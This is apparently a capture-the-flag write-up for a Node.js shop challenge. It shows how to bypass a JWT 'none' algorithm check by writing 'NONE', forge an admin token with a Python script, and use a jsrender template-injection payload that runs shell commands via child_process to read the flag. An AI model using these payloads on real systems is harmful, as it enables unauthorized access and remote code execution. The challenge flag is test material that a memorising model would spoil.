You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.
Looking around
The website we get to explore is a NodeJS application. Let’s start by registering a new user.
Once logged in, we are given a JWT token that decodes to:
1
{ "alg": "HS256", "typ": "JWT"} {"id": 2, "iat": 1679790190, "exp": 1679793790 }
Nothing sus
picious here, really, though this token will play a key role later on in this challenge.
Other than that, we can add and remove items from the cart:
Again, nothing too interesting. At this point we have a basic idea of how the website works. Let’s take a look at the code.
JWT Authentication
The application uses two types of middleware
functions to process requests before it returns a route:
AuthMiddleware
is used for all cart and shopping related routes,AdminMiddleware
is used for/admin
route.
Now, AuthMiddleware
is a simple jwt.verify()
operation so there is not much we can do here.
However, AdminMiddleware
looks rather interesting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const AdminMiddleware = async (req, res, next) => {
try {
const sessionCookie = req.cookies.session;
if (!sessionCookie) {
return res.redirect("/login");
}
const decoded = jwt.decode(sessionCookie, { complete: true });
if (decoded.header.alg == 'none') {
return res.redirect("/login");
}
else if (decoded.header.alg == "HS256") {
const user = jwt.verify(sessionCookie, tokenKey, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res.status(403).send("You are not an admin");
}
}
else {
const user = jwt.verify(sessionCookie, null, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res
.status(403)
.send({ message: "You are not an admin" });
}
}
} catch (err) {
return res.redirect("/login");
}
next();
};
Let’s break it down.
1
2
3
if (decoded.header.alg == 'none') {
return res.redirect("/login");
}
JWT token header contains alg
parameter which specifies the algorithm used to verify the signature of the token. However, JWT also has a special type of “algorithm” - none
- which means that the tokens are unsigned and so there is no need for a token to have a signature. Obviously, this is a major security risk - you can’t verify a token without the signature. Good thing the application forbids that!
1
2
3
4
5
6
7
8
9
10
11
12
else if (decoded.header.alg == "HS256") {
const user = jwt.verify(sessionCookie, tokenKey, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res.status(403).send("You are not an admin");
}
}
If the algorithm is set to HS256
, the application uses it to verify the signature and then queries user’s id to find admin
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
else {
const user = jwt.verify(sessionCookie, null, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res
.status(403)
.send({ message: "You are not an admin" });
}
}
Finally, if any other algorithm is provided in the JWT header, it is directly used to verify the token and query admin
user as before.
Bypassing algorithm restrictions
The trick here is to bypass the none
algortihm check. This would force the application to use none
algorithm to “verify” the signature - in practice, it would simply not check the signature at all, meaning we could forge any token we want!
Note that the first if
checks for "none"
string only, so if we used None
or NONE
, it would fail. Let’s modify our token then:
1
{ "alg": "NONE", "typ": "JWT"} {"id": 1, "iat": 1679790190, "exp": 1679793790 }
Notice how id
is set to 1. When we first registerd, we were given the id
of 2, so it is safe to assume admin
user has the first one.
Now we have to base64 encode the token. Here is a short script to do it it in python:
1
2
3
4
5
6
7
8
9
from base64 import urlsafe_b64encode
header = '{ "alg": "NONE", "typ": "JWT"}'
payload = '{"id": 1,"iat": 1679790190,"exp": 1679793790}'
token = urlsafe_b64encode(header.encode()).decode() + "." + urlsafe_b64encode(payload.encode()).decode() + "."
print(token)
# eyAiYWxnIjogIk5PTkUiLCAidHlwIjogIkpXVCJ9.eyJpZCI6IDEsImlhdCI6IDE2Nzk3OTAxOTAsImV4cCI6IDE2Nzk3OTM3OTB9.
At the topic of JWT token, I really recommend trying jwt-tool
! You can run it with -T
flag to change id
to 1 and then with -X a
to perform none
attack.
Anyhow, once we change the token value, we can finally access /admin
route:
Admin panel
A quick look at /admin
route code tells us it uses jsrender
to render all active users on the screen.
1
2
3
4
5
6
7
8
9
10
11
12
13
router.get("/admin", AdminMiddleware, async (req, res) => {
try {
const users = await db.Users.findAll();
const usernames = users.map((user) => user.username);
res.render("admin", {
users: jsrender.templates(`${usernames}`).render(),
});
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
Whenever an application is using some type of templating engine, it is worth checking for SSTI
(Server Side Template Injection). A quick google tells us jsrender
templating format is {{:<code>}}
Let’s try register the following user:
Now onto the admin panel:
Success! From here, it’s only a matter of payload:
1
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
And we got the flag:
HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}